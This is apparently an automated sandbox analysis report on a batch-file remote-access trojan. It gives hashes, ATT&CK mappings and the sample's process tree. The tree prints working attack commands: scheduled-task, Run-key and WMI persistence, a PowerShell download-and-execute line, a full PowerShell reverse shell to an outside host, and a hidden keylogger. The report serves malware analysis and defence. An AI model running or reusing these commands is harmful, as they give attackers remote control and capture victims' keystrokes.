82d0a550ccbf0ff515ff7b43dc7f743eb547ee28c1f0805902e3dbae1cdbf8ba

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:23

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General

Target
rat_build_73427_014241.bat
Size 4KB
Sample260529-2a95fsc13m
SHA256 82d0a550ccbf0ff515ff7b43dc7f743eb547ee28c1f0805902e3dbae1cdbf8ba
MD5 d4ac34011d98398a5e7473f5d273b631
SHA1 1334702a9cb9688a57d3bee3287c95d7a7a71d57
SHA512 ff68d725e9ce9390178e84dca17d8700eec78b379fb4ab858b9acce5d68f84661837c8c9726623d57401174ef2e46a0034c066deda3ed89f6ba85af5d3b0f7dc
SSDEEP 96:TInhWvfjz0Nb10MeUn/LUc9aUZTCI3tIaEvngN51iFgZk8mvlo1kPUCsM:Tdvfj4N5r/Q6emtIJvnEiFgkHldPUCsM
TLSH
T190A13B2353966120A4F41A68DA327858977CDAF71301DE8EBA49CFC05B4CB43D2A97F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_73427.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1536	powershell.exe
4332	powershell.exe
4316	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_73427 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_73427.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
964	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4416	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4568	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1536	powershell.exe
1536	powershell.exe
4332	powershell.exe
4332	powershell.exe
4316	powershell.exe
4316	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4692	WMIC.exe
Token: SeSecurityPrivilege	4692	WMIC.exe
Token: SeTakeOwnershipPrivilege	4692	WMIC.exe
Token: SeLoadDriverPrivilege	4692	WMIC.exe
Token: SeSystemProfilePrivilege	4692	WMIC.exe
Token: SeSystemtimePrivilege	4692	WMIC.exe
Token: SeProfSingleProcessPrivilege	4692	WMIC.exe
Token: SeIncBasePriorityPrivilege	4692	WMIC.exe
Token: SeCreatePagefilePrivilege	4692	WMIC.exe
Token: SeBackupPrivilege	4692	WMIC.exe
Token: SeRestorePrivilege	4692	WMIC.exe
Token: SeShutdownPrivilege	4692	WMIC.exe
Token: SeDebugPrivilege	4692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4692	WMIC.exe
Token: SeRemoteShutdownPrivilege	4692	WMIC.exe
Token: SeUndockPrivilege	4692	WMIC.exe
Token: SeManageVolumePrivilege	4692	WMIC.exe
Token: 33	4692	WMIC.exe
Token: 34	4692	WMIC.exe
Token: 35	4692	WMIC.exe
Token: 36	4692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4692	WMIC.exe
Token: SeSecurityPrivilege	4692	WMIC.exe
Token: SeTakeOwnershipPrivilege	4692	WMIC.exe
Token: SeLoadDriverPrivilege	4692	WMIC.exe
Token: SeSystemProfilePrivilege	4692	WMIC.exe
Token: SeSystemtimePrivilege	4692	WMIC.exe
Token: SeProfSingleProcessPrivilege	4692	WMIC.exe
Token: SeIncBasePriorityPrivilege	4692	WMIC.exe
Token: SeCreatePagefilePrivilege	4692	WMIC.exe
Token: SeBackupPrivilege	4692	WMIC.exe
Token: SeRestorePrivilege	4692	WMIC.exe
Token: SeShutdownPrivilege	4692	WMIC.exe
Token: SeDebugPrivilege	4692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4692	WMIC.exe
Token: SeRemoteShutdownPrivilege	4692	WMIC.exe
Token: SeUndockPrivilege	4692	WMIC.exe
Token: SeManageVolumePrivilege	4692	WMIC.exe
Token: 33	4692	WMIC.exe
Token: 34	4692	WMIC.exe
Token: 35	4692	WMIC.exe
Token: 36	4692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4388	WMIC.exe
Token: SeSecurityPrivilege	4388	WMIC.exe
Token: SeTakeOwnershipPrivilege	4388	WMIC.exe
Token: SeLoadDriverPrivilege	4388	WMIC.exe
Token: SeSystemProfilePrivilege	4388	WMIC.exe
Token: SeSystemtimePrivilege	4388	WMIC.exe
Token: SeProfSingleProcessPrivilege	4388	WMIC.exe
Token: SeIncBasePriorityPrivilege	4388	WMIC.exe
Token: SeCreatePagefilePrivilege	4388	WMIC.exe
Token: SeBackupPrivilege	4388	WMIC.exe
Token: SeRestorePrivilege	4388	WMIC.exe
Token: SeShutdownPrivilege	4388	WMIC.exe
Token: SeDebugPrivilege	4388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4388	WMIC.exe
Token: SeRemoteShutdownPrivilege	4388	WMIC.exe
Token: SeUndockPrivilege	4388	WMIC.exe
Token: SeManageVolumePrivilege	4388	WMIC.exe
Token: 33	4388	WMIC.exe
Token: 34	4388	WMIC.exe
Token: 35	4388	WMIC.exe
Token: 36	4388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4388	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 5060	1764	cmd.exe	88
PID 1764 wrote to memory of 4568	1764	cmd.exe	89
PID 1764 wrote to memory of 4692	1764	cmd.exe	90
PID 1764 wrote to memory of 4388	1764	cmd.exe	91
PID 1764 wrote to memory of 2716	1764	cmd.exe	92
PID 1764 wrote to memory of 4416	1764	cmd.exe	118
PID 1764 wrote to memory of 964	1764	cmd.exe	121
PID 1764 wrote to memory of 1536	1764	cmd.exe	122
PID 1764 wrote to memory of 4332	1764	cmd.exe	124
PID 1764 wrote to memory of 4316	1764	cmd.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_73427_014241.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_73427" /tr "C:\Users\Admin\AppData\Local\Temp\_73427.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5060
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_73427" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_73427.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4568
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_73427", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_73427", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_73427.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_73427.txt
  2⤵
  PID:2716
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4416
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_73427.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d6cb3efa1d41740c255494fc0ea384e4585e3dbf3a777f3968564c78a10ca285
MD5 6500518b2ea0bc26ca51e9f1e81958e8
SHA1 232da0074c84a0302655016ff1672f5b351e57d9
SHA512 9d2d14737398cf2e1acc17929fc6fc37d825791a5d9c7bee27fe42b3d5597f1524ad789138d82a34f480af06353ab6e1f079ed413b0ecd11f569813d14328a97
TLSH
T108115327F39C8921CC96153A409DAC1172B687DB81AEDE9FAFC4D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a5189a36c37dbe347805ef6def6e3694fe2d6f363944482592ea5d71b0ec837
MD5 6ef8c3604e3e583f35df2398190c1364
SHA1 5be71423c9ead8cfbbfdb07a5f27588deeb3d1a0
SHA512 1e3a00972951258f3cad39a9111b07bac9265c0c17faa27d3c5f5334a33a815bdb90403c78f8359955bb04b993e77fbeda4e93edb009b21d5df78220a714e615
TLSH
T191115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_s5puc2bo.h5i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5puc2bo.h5i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1536-7-0x00000214D01A0000-0x00000214D01C2000-memory.dmp

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